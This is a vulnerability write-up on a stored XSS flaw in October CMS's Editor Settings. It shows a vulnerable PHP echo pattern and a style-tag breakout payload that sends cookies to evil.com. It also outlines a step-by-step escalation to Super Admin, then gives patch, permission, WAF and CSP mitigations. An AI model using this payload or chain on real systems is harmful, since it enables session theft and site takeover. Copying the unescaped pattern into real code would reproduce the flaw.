October CMS Stored XSS: When CSS Breaks Out of Jail
Jan 11, 2026·6 min read
Executive Summary (TL;DR)
October CMS failed to sanitize user input destined for a `<style>` block in the backend Editor Settings. An attacker with 'Global Editor Settings' permissions can inject a closing `</style>` tag followed by malicious JavaScript. This script executes in the browser of any other user visiting the backend, allowing for session hijacking or privilege escalation to Super Admin. Patched in v3.7.13 and v4.0.12.
A Stored Cross-Site Scripting (XSS) vulnerability in October CMS allows privileged users to inject arbitrary JavaScript via the backend Editor Settings. By breaking out of a style tag context, attackers can escalate privileges from a standard Editor to a Super Administrator.
The Hook: Style Over Substance
October CMS is the darling of the Laravel world—clean, elegant, and usually pretty tight on security. It’s built for developers who want the flexibility of a framework with the usability of a CMS. But like any complex system that allows users to customize their environment, it creates a dangerous intersection between "feature" and "vulnerability."
In this episode of "Why We Can't Have Nice Things," we look at the backend Editor Settings. This feature allows administrators to define custom CSS styles for the WYSIWYG editor. Ideally, this ensures that the content in the editor looks exactly like it will on the frontend. It's a quality-of-life feature.
The problem arises when the application trusts the user a little too much. The developers assumed that if you are giving someone permission to write CSS, they will actually write CSS. They didn't anticipate someone writing the "anti-CSS"—a closing tag that shatters the container and spills code directly into the DOM.
The Flaw: The Classic Tag Breakout
The root cause here is a textbook example of Improper Neutralization of Input During Web Page Generation (CWE-79), specifically within a specific HTML context. Most modern frameworks, including Laravel (which powers October), are very good at escaping output that goes into the <body> as text. They turn <script> into <script> automatically.
However, context is king. In this vulnerability, the input flows into the "Markup Styles" field located at Settings → Editor Settings. The CMS takes this raw string and injects it directly into the head or body of the backend page, wrapped inside <style> tags.
The logic flaw is simple: The sanitizer (if it existed) didn't account for the closing tag. While the browser expects CSS rules inside a <style> block, it is primarily parsing HTML until it sees the closing sequence. If an attacker supplies </style>, the browser considers the style block finished. Everything that follows is interpreted as raw HTML.
This isn't a complex memory corruption bug or a race condition. It is the web equivalent of locking the front door (auth) but leaving the back window (input sanitization) completely open.
The Code: Breaking the Syntax
Let's look at a simplified representation of what was happening under the hood. The vulnerable code likely resembled this pattern:
// Vulnerable Logic
$customStyles = $settings->markup_styles;
// ... later in the view ...
echo "<style>" . $customStyles . "</style>";When a legitimate user inputs legitimate CSS:
.h1 { color: red; }The output is safe:
<style>.h1 { color: red; }</style>But when our attacker, let's call him "DarkSideDave," inputs the payload:
</style><script>fetch('https://evil.com/steal?c='+document.cookie)</script><style>The resulting HTML rendered by the server becomes:
<style>
</style><script>fetch('https://evil.com/steal?c='+document.cookie)</script><style>
</style>The browser sees an empty style block, followed immediately by a script block. The browser executes the script immediately. The fix implemented in versions 3.7.13 and 4.0.12 involves explicitly stripping these dangerous tags or encoding the output so that </style> becomes </style>, which renders harmlessly as text inside the style block (rendering invalid CSS, but safe HTML).
The Exploit: From Editor to God Mode
To exploit this, we need a user account with Global Editor Settings permission. This is often granted to senior content editors or "semi-technical" staff, not just Super Admins. Here is the attack chain:
Step 1: The Setup
The attacker logs in with their mid-level account and navigates to the backend Settings -> Editor Settings.
Step 2: The Injection
In the "Markup Styles" textarea, they inject the payload. A simple alert(1) proves the point, but a real attacker goes for persistence. They inject a script that hooks into the backend API.
Step 3: The Trap The settings are saved. Now, this XSS payload is Stored. It is part of the global configuration.
Step 4: The Trigger A Super Administrator logs in to check the site health or change a setting. As soon as their browser loads the backend dashboard (which includes the global styles), the malicious script executes in their session context.
Step 5: The Payload
The script uses the Super Admin's session (cookies/CSRF token) to make a background AJAX request to /backend/users. It creates a new user, gives them Super Admin privileges, and hides the evidence. The attacker now owns the entire platform.
The Impact: Why 'Medium' Severity is a Lie
The CVSS score of 6.1 (Medium) is technically accurate but functionally misleading. The score is dragged down because it requires "High Privileges" to exploit. In the corporate world, this implies that only people who already own the system can break it.
However, in the CMS world, roles are often segmented. You might have a marketing agency with "Editor" rights to tweak styles, but you definitely don't want them having full shell access or database control. This vulnerability bridges that gap.
It allows for Horizontal and Vertical Privilege Escalation. If the attacker compromises a lower-privileged account that happens to have access to Editor Settings (common for design teams), they can pivot to full system compromise the moment a real admin logs in. It allows for data exfiltration, defacement, and potentially RCE if the admin dashboard exposes file upload capabilities (which it often does).
The Fix: Sanitize Your Inputs
The remediation is straightforward: Update immediately.
Patched Versions:
- October CMS v3.7.13
- October CMS v4.0.12
If you cannot update right now (perhaps you're stuck in legacy dependency hell), you have a few stop-gap options:
- Revoke Permissions: Go to
Settings -> Administratorsand edit the roles. Ensure that only fully trusted Super Admins have themanage_editororGlobal Editor Settingspermission. Remove this right from all external agencies or content editors. - WAF Rules: Configure your Web Application Firewall to block POST requests containing
</style>or<script>tags directed at the backend settings endpoints. - CSP: Implement a Content Security Policy that forbids inline scripts (
script-src 'self'). This will break the XSS execution even if the HTML injection is successful, though it might also break parts of the CMS if it relies on inline scripts (which many do).
Official Patches
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:NAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
October CMS October CMS | < 3.7.13 | 3.7.13 |
October CMS October CMS | >= 4.0.0 < 4.0.12 | 4.0.12 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network (Stored XSS) |
| CVSS v3.1 | 6.1 (Medium) |
| Impact | Privilege Escalation / Session Hijacking |
| Privileges Required | High (Global Editor Settings) |
| EPSS Score | 0.00037 (Low probability of mass exploitation) |
MITRE ATT&CK Mapping
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.